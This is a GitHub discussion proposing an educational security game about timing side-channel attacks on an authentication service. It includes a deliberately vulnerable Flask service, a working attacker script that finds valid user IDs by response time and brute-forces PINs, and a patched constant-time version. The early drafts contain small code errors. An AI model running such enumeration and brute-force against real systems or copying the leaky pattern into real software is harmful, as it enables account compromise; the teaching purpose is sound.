Demonstration of a side-channel attack

[evarga]

Hi Guys!

I would like to propose a security game where an attacker would only succeed if there is an extra leakage of information via some side-channel; a concept known as side-channel attack. More specifically, the new game would illustrate the time-attack mechanism. This theme was not covered in any of the previous games and is an extremely important topic in security engineering.

Prerequisites

A learner should first finish the Season 2/Level 2 game to understand how to avoid basic design flaws.

Scenario

The problematic authenticator RESTful service will have an endpoint to return a security token based upon a user id (some number in the range [0, 10000]) and an 8 digit pin code. The list of users will be fixed, but unknown to external parties. Since the service will store pin codes in a hashed format, it will compute the hash of the input pin code with a slow hashing algorithm. The algorithm itself will be predefined and mandatory (not allowed to be changed by a student). If the input was correct, then the service will return a token. Otherwise, it will respond with the same error code irrespectively whether a user id, pin code or both were wrong.

Unfortunately, the service will only run the hashing algorithm when the user id was correctly given, otherwise it will immediately return with an error code. This difference in response times would create an opportunity for an attacker to leverage a time-attack. An attacker would win the game, if they can find the proper combination of user id/pin code pair in less than some maximum number of attempts (a conigurable parameter). Of course, a win for an attacker is a failure for a learner.

The task of a learner is to figure out what helps an attacker to achieve it's goal and find a solution.

The game would be implemented in Python using the Flask framework. The structure of the code base will be as follows:

• code.py: the initial authenticator service leaking timing information
• tests.py: the standard unit tests for checking the basic behavior of the service
• hack.py: the program that will help an attacker find one correct user id/pin code pair inside given limits
• solution.py: the version of the service that will prevent an attacker to win the game
• hint.txt: a usual hint to help a learner move forward

[jkcso]

I love it! It sounds like a very exciting level able to teach developers a lot!

The only thing on my side is to start planning what we do next after releasing the 2nd season, which will be publicly announced in the upcoming weeks. I mean, it's possible of course to start preparing for a 3rd season (that needs 5 levels) and your level can be the part of that season, however we have to wait for more levels from open source contributors like yourself before we merge.

This means that you are free to produce more levels if you so want to with the maximum number being 5 levels. Just take into account for this level (or more levels) that there should be an increase in the difficulty as the levels inside the season progress. Difficulties should be more or less as follows:

• The first 2 levels of every season can have 1 or 2 similar or different security issues of the same category.
• The next 2 levels (which are levels 3 and 4) should have at least 2 different security issues with effort from the developer to avoid them and in general should not be straight forward.
• The fifth level should be challenging for both developers and security professionals, particular and in general able to stand out.

Please notice that in the next few weeks we will advertise in all official GitHub channels the arrival of Season 2, that I hope will bring more contributions for a 3rd season to approach the magic number 5, but as this is time consuming, it's fantastic that you can start contributing from now! 🚀 💪🏼

[akabarki76]

This is an excellent proposal for a side-channel timing attack security game. Below is a structured implementation plan with code templates and educational considerations:

---

Game Design: "Time Warp Attack"

1. Learning Objectives

• Understand timing side-channel vulnerabilities
• Learn constant-time comparison techniques
• Implement secure authentication under observation

2. File Structure

time_attack_game/
├── code.py            # Vulnerable service
├── solution.py        # Patched service
├── hack.py            # Attacker's tool
├── tests.py           # Validation tests
├── hint.txt           # Progressive hints
└── README.md          # Game instructions

---

Core Implementation

code.py (Vulnerable Service)

from flask import Flask, request, jsonify
import hashlib
import time

app = Flask(__name__)

# Mock user database: {user_id: (salt, hashed_pin)}
USERS = {
    1001: ("abc123", hashlib.pbkdf2_hmac('sha256', b'12345678', b'abc123', 100000)),
    1002: ("def456", hashlib.pbkdf2_hmac('sha256', b'87654321', b'def456', 100000))
}

@app.route('/auth', methods=['POST'])
def authenticate():
    user_id = int(request.json.get('user_id'))
    pin = request.json.get('pin').encode()
    
    # Timing vulnerability: Early exit if user doesn't exist
    if user_id not in USERS:
        return jsonify({"error": "Authentication failed"}), 401
    
    salt, hashed_pin = USERS[user_id]
    # Slow comparison only for existing users
    new_hash = hashlib.pbkdf2_hmac('sha256', pin, salt.encode(), 100000)
    
    if new_hash == hashed_pin:
        return jsonify({"token": "SECURE_TOKEN"})
    return jsonify({"error": "Authentication failed"}), 401

hack.py (Attacker Tool)

import requests
import time
import statistics

def time_attack(base_url):
    found_user = None
    # Step 1: Find valid user ID via timing
    for user_id in range(1000, 1003):
        start = time.time()
        requests.post(f"{base_url}/auth", json={"user_id": user_id, "pin": "00000000"})
        duration = time.time() - start
        if duration > 0.1:  # Threshold for hash computation
            found_user = user_id
            break
    
    # Step 2: Brute-force PIN for found user
    for pin in (f"{i:08d}" for i in range(100000000)):
        # ... (similar timing measurement)
        if "token" in response.json():
            return (found_user, pin)

solution.py (Fixed Service)

# Constant-time user lookup
def safe_user_lookup(user_id):
    dummy_salt = "0"*6
    dummy_hash = hashlib.pbkdf2_hmac('sha256', b'00000000', dummy_salt.encode(), 100000)
    return USERS.get(user_id, (dummy_salt, dummy_hash))

@app.route('/auth', methods=['POST'])
def authenticate():
    user_id = int(request.json.get('user_id'))
    pin = request.json.get('pin').encode()
    salt, hashed_pin = safe_user_lookup(user_id)  # Always takes time
    
    new_hash = hashlib.pbkdf2_hmac('sha256', pin, salt.encode(), 100000)
    # Constant-time comparison
    if hmac.compare_digest(new_hash, hashed_pin):
        return jsonify({"token": "SECURE_TOKEN"})
    return jsonify({"error": "Authentication failed"}), 401

---

Educational Components

Progressive Hints (hint.txt)

Level 1: Notice response times when entering invalid user IDs vs valid ones
Level 2: The server only computes hashes for existing users
Level 3: Python's hmac.compare_digest() prevents timing leaks

Testing (tests.py)

def test_timing_leak():
    # Measure response times for valid/invalid users
    # Assert time difference > threshold
    pass

def test_solution_fix():
    # Verify constant-time responses
    pass

---

Game Mechanics

Component	Purpose
Vulnerable Service	Demonstrates real-world timing leak
Attacker Tool	Shows exploitability (educational purposes)
Fixed Service	Teaches secure coding patterns
Threshold Config	Adjustable difficulty (e.g., max 500 attempts)

---

Key Security Lessons

1. Never early-exit during authentication
2. Use constant-time comparison functions
3. Obfuscate failures (same error messages/timing)
4. Rate limiting is still needed to prevent brute-force

Would you like me to add:

1. Docker setup for easy deployment?
2. More advanced attack scenarios (network jitter compensation)?
3. Visual timing graphs for post-game analysis?

[evarga]

Great work in implementing this security game!

You may add a comment as part of the solution about advanced variants, like the one you've mentioned, that revolve around the idea of a timing based side-channel attack. Visual timing graphs could be helpful for a learner to understand what happens in the background, although the level of detail in your implementation is more than enough for someone to understand the topic.

Games are best deployed via GitHub Codespaces and this repository provides a default development container configuration file. Make sure to highlight what must go into requirements.txt as additional package dependencies, if any.

P.S. Please, check what was your intention behind including the statistics package in hack.py?

[akabarki76]

Great 👍 I appreciate you guys it's very good to see how much you guys dedicated to give the best of passionate techies

[akabarki76]

Updated dépendance for python may call some errors that can be 🪜
Required.txt must be enhanced each time py featured

[akabarki76]

Enhanced graph.py call statistics as well

[akabarki76]

Side-Channel Timing Attack Demonstration

Overview

This security game demonstrates a timing-based side-channel attack against an authentication service. The vulnerable implementation leaks information through response time differences, allowing an attacker to first identify valid user IDs and then brute-force their PIN codes.

Implementation Details

Vulnerable Service (code.py)

from flask import Flask, request, jsonify
import hashlib
import time

app = Flask(__name__)

# Mock user database: {user_id: (salt, hashed_pin)}
USERS = {
    1001: ("abc123", hashlib.pbkdf2_hmac('sha256', b'12345678', b'abc123', 100000)),
    1002: ("def456", hashlib.pbkdf2_hmac('sha256', b'87654321', b'def456', 100000))
}

@app.route('/auth', methods=['POST'])
def authenticate():
    user_id = int(request.json.get('user_id'))
    pin = request.json.get('pin').encode()
    
    # Timing vulnerability: Early exit if user doesn't exist
    if user_id not in USERS:
        return jsonify({"error": "Authentication failed"}), 401
    
    salt, hashed_pin = USERS[user_id]
    # Slow comparison only for existing users
    new_hash = hashlib.pbkdf2_hmac('sha256', pin, salt.encode(), 100000)
    
    if new_hash == hashed_pin:
        return jsonify({"token": "SECURE_TOKEN"})
    return jsonify({"error": "Authentication failed"}), 401

Attacker Tool (hack.py)

import requests
import time
import statistics

def time_attack(base_url, max_attempts=500):
    found_user = None
    
    # Step 1: Find valid user ID via timing differences
    timings = []
    for user_id in range(1000, 1003):
        times = []
        for _ in range(5):  # Multiple samples to reduce noise
            start = time.perf_counter()
            requests.post(f"{base_url}/auth", 
                         json={"user_id": user_id, "pin": "00000000"})
            times.append(time.perf_counter() - start)
        avg_time = statistics.mean(times)
        timings.append((user_id, avg_time))
    
    # Find user with consistently longer response time
    timings.sort(key=lambda x: x[1])
    found_user = timings[-1][0]  # User with longest response time
    
    # Step 2: Brute-force PIN for found user
    for attempt in range(max_attempts):
        pin = f"{attempt:08d}"  # Generate 8-digit PIN
        response = requests.post(f"{base_url}/auth",
                               json={"user_id": found_user, "pin": pin})
        if "token" in response.json():
            return (found_user, pin)
    
    return None  # Attack failed within attempt limit

Secure Solution (solution.py)

from flask import Flask, request, jsonify
import hashlib
import hmac

app = Flask(__name__)

USERS = {
    1001: ("abc123", hashlib.pbkdf2_hmac('sha256', b'12345678', b'abc123', 100000)),
    1002: ("def456", hashlib.pbkdf2_hmac('sha256', b'87654321', b'def456', 100000))
}

# Constant-time user lookup
def safe_user_lookup(user_id):
    dummy_salt = "0"*6
    dummy_hash = hashlib.pbkdf2_hmac('sha256', b'00000000', dummy_salt.encode(), 100000)
    return USERS.get(user_id, (dummy_salt, dummy_hash))

@app.route('/auth', methods=['POST'])
def authenticate():
    user_id = int(request.json.get('user_id'))
    pin = request.json.get('pin').encode()
    
    # Always perform the same operations regardless of user existence
    salt, hashed_pin = safe_user_lookup(user_id)
    new_hash = hashlib.pbkdf2_hmac('sha256', pin, salt.encode(), 100000)
    
    # Constant-time comparison
    if hmac.compare_digest(new_hash, hashed_pin):
        return jsonify({"token": "SECURE_TOKEN"})
    return jsonify({"error": "Authentication failed"}), 401

Advanced Considerations

1. Network Jitter Compensation:

   • The attacker tool takes multiple samples and uses statistical analysis to account for network variability
   • More sophisticated attacks might use signal processing techniques to filter noise

2. Visual Timing Analysis:

   import matplotlib.pyplot as plt
   
   def plot_timings(timings_data):
       user_ids = [t[0] for t in timings_data]
       times = [t[1] for t in timings_data]
       
       plt.bar(user_ids, times)
       plt.xlabel('User ID')
       plt.ylabel('Response Time (s)')
       plt.title('Timing Differences Between User IDs')
       plt.show()

3. Additional Protections:

   • Rate limiting to prevent brute-force attempts
   • CAPTCHA challenges after several failed attempts
   • Multi-factor authentication

Requirements

flask==2.0.1
requests==2.26.0
matplotlib==3.4.3

Educational Value

This game teaches:

1. How subtle timing differences can leak sensitive information
2. The importance of constant-time algorithms in security-critical operations
3. Secure authentication service design principles
4. Real-world attack techniques and defenses

The statistics package in hack.py is used to analyze multiple timing samples, making the attack more reliable despite network variability.